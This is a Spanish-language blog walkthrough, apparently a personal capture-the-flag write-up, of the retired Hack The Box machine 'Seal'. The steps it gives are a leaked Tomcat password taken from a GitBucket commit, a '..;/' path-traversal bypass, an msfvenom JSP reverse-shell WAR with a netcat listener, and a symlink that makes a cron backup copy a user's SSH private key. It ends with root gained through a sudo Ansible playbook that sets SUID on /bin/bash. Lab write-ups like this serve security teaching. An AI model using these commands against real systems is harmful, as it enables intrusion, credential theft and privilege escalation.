Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

Maquina Retirada Seal de Hack The Box (Necesario VIP)

Seal ~ Hack The Box

Realizamos el Primer escaneo con Nmap

$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.250       "

Procedemos con el siguiente escaneo de Nmap

# Nmap 7.91 scan initiated Tue Jul 20 17:30:18 2021 as: nmap -sC -sV -p22,443,8080 -oN target 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.053s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 20 Jul 2021 15:30:27 GMT
|     Set-Cookie: JSESSIONID=node01kw6b4gn2hivrrjdvhvjra7472.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 20 Jul 2021 15:30:26 GMT
|     Set-Cookie: JSESSIONID=node0p0sfk1cil6371sqzhr3m9qphz0.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Tue, 20 Jul 2021 15:30:27 GMT
|     Set-Cookie: JSESSIONID=node01wl1o9iqo05a51uao83w56od331.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4: 
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5: 
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=7/20%Time=60F6EC11%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Tue,\x2020\x2
SF:0Jul\x202021\x2015:30:26\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0p0sfk
SF:1cil6371sqzhr3m9qphz0\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu
SF:,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html
SF:;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,109,"HTT
SF:P/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2020\x20Jul\x202021\x2015:30:27\x
SF:20GMT\r\nSet-Cookie:\x20JSESSIONID=node01wl1o9iqo05a51uao83w56od331\.no
SF:de0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2
SF:000:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nAllow:\
SF:x20GET,HEAD,POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReques
SF:t,AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20text/h
SF:tml;charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close
SF:\r\n\r\n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Versio
SF:n</pre>")%r(FourOhFourRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nD
SF:ate:\x20Tue,\x2020\x20Jul\x202021\x2015:30:27\x20GMT\r\nSet-Cookie:\x20
SF:JSESSIONID=node01kw6b4gn2hivrrjdvhvjra7472\.node0;\x20Path=/;\x20HttpOn
SF:ly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nConte
SF:nt-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r
SF:(Socks5,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x5\r\nCon
SF:tent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2069\r\n
SF:Connection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\
SF:x20Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/1\.1\x204
SF:00\x20Illegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20text/html;ch
SF:arset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r
SF:\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20character\x2
SF:0CNTL=0x4</pre>")%r(RPCCheck,C7,"HTTP/1\.1\x20400\x20Illegal\x20charact
SF:er\x20OTEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nCo
SF:ntent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x
SF:20400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Identificamos un dominio que introducimos al fichero /etc/hosts –> seal.htb Procedemos a fuzzear la web en buscar de directorios interesantes

# wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt https://seal.htb/FUZZ                                                                               2 ⨯ 1 ⚙
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://seal.htb/FUZZ
Total requests: 207630

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================

000000003:   302        0 L      0 W        0 Ch        "images"                                                                                                                                          
000000001:   200        518 L    1140 W     19737 Ch    "https://seal.htb/"                                                                                                                               
000000243:   302        0 L      0 W        0 Ch        "admin"                                                                                                                                           
000000530:   302        0 L      0 W        0 Ch        "css"                                                                                                                                             
000000426:   302        0 L      0 W        0 Ch        "icon"                                                                                                                                            
000000907:   302        0 L      0 W        0 Ch        "js"                                                                                                                                              
000004562:   302        0 L      0 W        0 Ch        "manager"

Vemos que tenemos bastantes directorios chequeamos manualmente para ver los recursos, y encontramos un 403 Forbidden Procedemos a seguir FUzzeando por el directorio encontrado manager

# wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt https://seal.htb/manager/FUZZ                                                                     130 ⨯ 1 ⚙
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://seal.htb/manager/FUZZ
Total requests: 207630

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================

000000001:   302        0 L      0 W        0 Ch        "https://seal.htb/manager/"                                                                                                                       
000000003:   302        0 L      0 W        0 Ch        "images"                                                                                                                                          
000000079:   403        7 L      10 W       162 Ch      "html"                                                                                                                                            
000000324:   401        63 L     291 W      2499 Ch     "text"                                                                                                                                            
000000733:   401        63 L     291 W      2499 Ch     "status"

Comprobando los subdirectorios para el recurso manager encontramos un panel login en la ruta /manager/status Probamos credenciales por defecto y vemos que no optenemos acceso. Encontramos la version del Tomcat en la siguiente ruta https://10.10.10.250/admin/ Procedemos a enumerar el servicio http-proxy por el puerto 8080 y nos encontramos otro panel de Login donde nos podemos Registrar, nos registramos y accedemos

http://seal.htb:8080/signin;jsessionid=node01ihai0hk4uf3tuf205qlxevix0.node0?redirect=%2F

Procedemos a Registrarnos y al entrar vemos que estamos ante un GitBucket, se parece mucho a Github encuanto a estructuras de archivos. Procedemos a Apuntar a la ruta del proyecto de root/seal_market, encontramos tres directorios:

"* app *"
"* nginx *"
"* tomcat *"
" Readme.md "

Procedemos a meternos en los directorios app, nginx, tomcat como vemos que podemos visualizar los recursos de los CMS pensamos que podriamos encontrar algun archivo interesante con credenciales en texto claro. Procedemos a buscar por los ultimos commits para cada recurso Damos con el Last Commit

tomcat/tomcat-users.xml
	
		  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
		  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
		  <user username="role1" password="<must-be-changed>" roles="role1"/>
		-->
		<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
		</tomcat-users>

Encontramos este archivo con la password y user para el tomcat Procedemos a intentar loggearnos en el otro login en la direccion https://seal.htb/manager/status

Conseguimos acceso con las Credenciales obtenidas, procedemos a intentar listar las aplicaciones del Tomcat y vemos que recibimos un 403 Forbiden Buscando info sobre como podemos hacer para listar la Apliccaciones del Tomcat disponibles encontramos este recurso que nos indica una posible forma de hacerlo.

https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/

La forma

https://10.10.10.250/manager/status/..;/html/

Ahora para ganar acceso a la maquina victima, en los CMS Tomcat podemos subir un archivo .war malicioso.

# msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.16.7 lport=443 -f war > setenso.war                                                                                                                35 ⨯ 1 ⚙
Payload size: 1083 bytes
Final size of war file: 1083 bytes

Una vez tenemos el archivo creado, vamos a intentar subirlo. Nos vamos a donde pone WAR file to deploy y procedemos a intentar subir el archivo

https://10.10.10.250/manager/html/upload;jsessionid=30996A6436CBB5E16EE0296121D0CCA8?org.apache.catalina.filters.CSRF_NONCE=B68A395DF24E8D8C6E14811F6E50C638
403 FORBIDDEN

Vale vemos que tenemos un problema porque la url como veiamos no nos funciona correctamente /manager/html/upload en esta seccion. Nos abrimos burpsuite para cambiar esta parte a manager/status/..;/html/upload y subir el archivo correctamente.

POST /manager/status/..;/html/upload;jsessionid=30996A6436CBB5E16EE0296121D0CCA8?org.apache.catalina.filters.CSRF_NONCE=B68A395DF24E8D8C6E14811F6E50C638 HTTP/1.1

Lo conseguimos subir correctamente. Procedo a ponerme una session con nc -vlnp 443 a la escucha para recibir la conexion entrante.

# nc -vlnp 443                                                                                                                                                                                               2 ⚙
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.250] 56870
whoami
tomcat

Procedemos a realizar el tratamiento de la shell como siempre. Procedemos a enumerar el sistema en busca de la flag.

tomcat@seal:/home/luis$ cat user.txt 
cat: user.txt: Permission denied

Vemos que tenemos que saltar del user tomcat al user Luis.

tomcat@seal:/home/luis$ find / -group luis -type f 2>/dev/null
/opt/backups/archives/backup-2021-11-14-10:56:33.gz
/opt/backups/archives/backup-2021-11-14-10:55:33.gz
/opt/backups/playbook/run.ym

Enumerando encontramos en la ruta /opt/backups/ archivos que pertenecen al user Luis, se pone interesante. vemos que parece que hay una tarea CRON ejecutando cada cierto tiempo backups en el directorio de antes. Por eso mismo y para confirmarlo subimos el pspy32s para verficar si efectivamente tenemos una tarea Cron ejecutandose.

2021/11/14 11:01:01 CMD: UID=0    PID=16861  | /usr/sbin/CRON -f 
2021/11/14 11:01:01 CMD: UID=0    PID=16862  | /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml 
2021/11/14 11:01:01 CMD: UID=0    PID=16863  | sleep 30 
2021/11/14 11:01:31 CMD: UID=0    PID=16876  | sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml

Procedemos a investigar esos ficheros de backups

file backup-2021-11-14-11\:05\:32.gz 
backup-2021-11-14-11:05:32.gz: gzip compressed data, was "backup-2021-11-14-11:05:32", last modified: Sun Nov 14 11:05:33 2021, max compression, original size modulo 2^32 1617920

Procedemos a apuntar al script que se ejecuta para realizar las tareas de Backups

tomcat@seal:/opt/backups/archives$ cat /usr/bin/ansible-playbook 
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# PYTHON_ARGCOMPLETE_OK

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

__requires__ = ['ansible']


import errno
import os
import shutil
import sys
import traceback

from ansible import context
from ansible.errors import AnsibleError, AnsibleOptionsError, AnsibleParserError
from ansible.module_utils._text import to_text


# Used for determining if the system is running a new enough python version
# and should only restrict on our documented minimum versions
_PY3_MIN = sys.version_info[:2] >= (3, 5)
_PY2_MIN = (2, 6) <= sys.version_info[:2] < (3,)
_PY_MIN = _PY3_MIN or _PY2_MIN
if not _PY_MIN:
    raise SystemExit('ERROR: Ansible requires a minimum of Python2 version 2.6 or Python3 version 3.5. Current version: %s' % ''.join(sys.version.splitlines()))


class LastResort(object):
    # OUTPUT OF LAST RESORT
    def display(self, msg, log_only=None):
        print(msg, file=sys.stderr)

    def error(self, msg, wrap_text=None):
        print(msg, file=sys.stderr)


if __name__ == '__main__':

    display = LastResort()

    try:  # bad ANSIBLE_CONFIG or config options can force ugly stacktrace
        import ansible.constants as C
        from ansible.utils.display import Display
    except AnsibleOptionsError as e:
        display.error(to_text(e), wrap_text=False)
        sys.exit(5)

    cli = None
    me = os.path.basename(sys.argv[0])

    try:
        display = Display()
        display.debug("starting run")

        sub = None
        target = me.split('-')
        if target[-1][0].isdigit():
            # Remove any version or python version info as downstreams
            # sometimes add that
            target = target[:-1]

        if len(target) > 1:
            sub = target[1]
            myclass = "%sCLI" % sub.capitalize()
        elif target[0] == 'ansible':
            sub = 'adhoc'
            myclass = 'AdHocCLI'
        else:
            raise AnsibleError("Unknown Ansible alias: %s" % me)

        try:
            mycli = getattr(__import__("ansible.cli.%s" % sub, fromlist=[myclass]), myclass)
        except ImportError as e:
            # ImportError members have changed in py3
            if 'msg' in dir(e):
                msg = e.msg
            else:
                msg = e.message
            if msg.endswith(' %s' % sub):
                raise AnsibleError("Ansible sub-program not implemented: %s" % me)
            else:
                raise

        b_ansible_dir = os.path.expanduser(os.path.expandvars(b"~/.ansible"))
        try:
            os.mkdir(b_ansible_dir, 0o700)
        except OSError as exc:
            if exc.errno != errno.EEXIST:
                display.warning("Failed to create the directory '%s': %s"
                                % (to_text(b_ansible_dir, errors='surrogate_or_replace'),
                                   to_text(exc, errors='surrogate_or_replace')))
        else:
            display.debug("Created the '%s' directory" % to_text(b_ansible_dir, errors='surrogate_or_replace'))

        try:
            args = [to_text(a, errors='surrogate_or_strict') for a in sys.argv]
        except UnicodeError:
            display.error('Command line args are not in utf-8, unable to continue.  Ansible currently only understands utf-8')
            display.display(u"The full traceback was:\n\n%s" % to_text(traceback.format_exc()))
            exit_code = 6
        else:
            cli = mycli(args)
            exit_code = cli.run()

    except AnsibleOptionsError as e:
        cli.parser.print_help()
        display.error(to_text(e), wrap_text=False)
        exit_code = 5
    except AnsibleParserError as e:
        display.error(to_text(e), wrap_text=False)
        exit_code = 4
# TQM takes care of these, but leaving comment to reserve the exit codes
#    except AnsibleHostUnreachable as e:
#        display.error(str(e))
#        exit_code = 3
#    except AnsibleHostFailed as e:
#        display.error(str(e))
#        exit_code = 2
    except AnsibleError as e:
        display.error(to_text(e), wrap_text=False)
        exit_code = 1
    except KeyboardInterrupt:
        display.error("User interrupted execution")
        exit_code = 99
    except Exception as e:
        if C.DEFAULT_DEBUG:
            # Show raw stacktraces in debug mode, It also allow pdb to
            # enter post mortem mode.
            raise
        have_cli_options = bool(context.CLIARGS)
        display.error("Unexpected Exception, this is probably a bug: %s" % to_text(e), wrap_text=False)
        if not have_cli_options or have_cli_options and context.CLIARGS['verbosity'] > 2:
            log_only = False
            if hasattr(e, 'orig_exc'):
                display.vvv('\nexception type: %s' % to_text(type(e.orig_exc)))
                why = to_text(e.orig_exc)
                if to_text(e) != why:
                    display.vvv('\noriginal msg: %s' % why)
        else:
            display.display("to see the full traceback, use -vvv")
            log_only = True
        display.display(u"the full traceback was:\n\n%s" % to_text(traceback.format_exc()), log_only=log_only)
        exit_code = 250

    sys.exit(exit_code)

Analizando el codigo vemos que que tira de uan wildcard a la hora de ejecutarse y del user luis. De que archivos esta haciendo el backup?? que permisos tienen esos archivos? Solucion, encontramos que la carpeta UPLOADS se puede modificar por nosotros(otros) y asi podriamos hacer que el directorio tenga un enlace simbolico al directorio .ssh del user Luis y si tenemos suerte y encontramos una id_rsa, en el directorio Uploads en el siguiente backup probaremos a conectarnos por SSH.

Nos movemos a donde estan los recursos que se comprimen en el backup

tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ pwd
/var/lib/tomcat9/webapps/ROOT/admin/dashboard

tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ls -l
total 92
drwxr-xr-x 5 root root  4096 Mar  7  2015 bootstrap
drwxr-xr-x 2 root root  4096 Mar  7  2015 css
drwxr-xr-x 4 root root  4096 Mar  7  2015 images
-rw-r--r-- 1 root root 71744 May  6  2021 index.html
drwxr-xr-x 4 root root  4096 Mar  7  2015 scripts
drwxrwxrwx 2 root root  4096 May  7  2021 uploads

Procedemos con el enlace simbolico

tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ln -s /home/luis/.ssh/ uploads/

Ahora procedemos a descomprimir el siguiente backup y en el directorio uploads encontraremos .ssh

# pwd                      
/HTB/Intentando/Seal/content/dashboard/uploads

# ls -la                       
total 12
drwx------ 3 root root 4096 nov 13 15:45 .
drwx------ 3 root root 4096 nov 13 21:26 ..
drwx------ 2 root root 4096 nov 13 15:45 .ssh

# ls -l .ssh      
total 12
-rw-r--r-- 1 root root  563 nov 13 15:45 authorized_keys
-rw------- 1 root root 2590 nov 13 15:45 id_rsa
-rw-r--r-- 1 root root  563 nov 13 15:45 id_rsa.pub

Procedemos a darle permisos 600 al id_rsa

# ssh -i id_rsa luis@10.10.10.250
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 14 Nov 2021 11:27:14 AM UTC

  System load:  0.0               Processes:             171
  Usage of /:   47.1% of 9.58GB   Users logged in:       0
  Memory usage: 28%               IPv4 address for eth0: 10.10.10.250
  Swap usage:   0%

 * Pure upstream Kubernetes 1.21, smallest, simplest cluster ops!

     https://microk8s.io/

22 updates can be applied immediately.
15 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri May  7 07:00:18 2021 from 10.10.14.2
luis@seal:~$ 

Y nos conectamos por SSH como el user Luis

luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

Privesc to Root

Procedemos a crearnos un archivo .yml malicioso que cuando ejecutemos el /usr/bin/ansible-playbook nos injeccte un comando malicioso como el user ROOT

luis@seal:/dev/shm$ cat setenso.yml 
  - name: Check the remote host uptime
    hosts: localhost
    tasks:
      - name: Execute the Uptime command over Command module
        command: "chmod +s /bin/bash"

Y procedemos a ejecutarlo

luis@seal:/dev/shm$ nano setenso.yml                                                                                                                                                                                
luis@seal:/dev/shm$ sudo -u root /usr/bin/ansible-playbook setenso.yml 
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'                                                                                         
                                                                                                                                                                                                                    
PLAY [Check the remote host uptime] ********************************************************************************************************************************************************************************
                                                                                                                                                                                                                    
TASK [Gathering Facts] *********************************************************************************************************************************************************************************************
ok: [localhost]                                                                                                                                                                                                     
                                                                                                                                                                                                                    
TASK [Execute the Uptime command over Command module] **************************************************************************************************************************************************************
[WARNING]: Consider using the file module with mode rather than running 'chmod'.  If you need to use command because file is insufficient you can add 'warn: false' to this command task or set                     
'command_warnings=False' in ansible.cfg to get rid of this message.
changed: [localhost]

PLAY RECAP *********************************************************************************************************************************************************************************************************
localhost                  : ok=2    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   

Comprobamos que nos a injectado el comando

luis@seal:/dev/shm$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18  2020 /bin/bash

Procedemos a spawnearnos una shell con el comando bash -p

luis@seal:/dev/shm$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt 
0a7a7226295a7axxxxxxxxxxxxxxxxxxxxxx

Maquina Rooteada =D K0 H4ck